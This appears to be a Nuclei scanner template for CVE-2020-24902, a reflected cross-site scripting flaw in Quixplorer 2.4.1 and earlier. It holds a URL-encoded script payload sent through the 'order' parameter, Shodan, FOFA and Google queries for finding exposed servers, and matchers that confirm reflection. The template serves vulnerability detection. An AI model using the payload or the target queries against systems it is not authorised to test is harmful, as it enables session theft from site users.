id: CVE-2020-24902

info:
  name: Quixplorer <=2.4.1 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    Quixplorer through 2.4.1 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to a patched version of Quixplorer (>=2.4.2) or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://dl.packetstormsecurity.net/1804-exploits/quixplorer241beta-xss.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24902
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-24902
    cwe-id: CWE-79
    epss-score: 0.02852
    epss-percentile: 0.85324
    cpe: cpe:2.3:a:quixplorer_project:quixplorer:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: quixplorer_project
    product: quixplorer
    shodan-query:
      - http.title:"My Download Server"
      - http.title:"my download server"
    fofa-query: title="my download server"
    google-query:
      - intitle:"My Download Server"
      - intitle:"my download server"
  tags: cve,cve2020,quixplorer,xss,quixplorer_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?action=post&order=bszop%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>&srt=yes"
          - "My Download"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a00463044022060be9b7df1af11fa1c0acd1dffbfc176a7fbfa870f1469c4903f23d5cc5531cc022009dee92ce077213701c18be707abbff2f686294d2f630dee08eb5cd46290d8d0:922c64590222798bb761d5b6d8e72950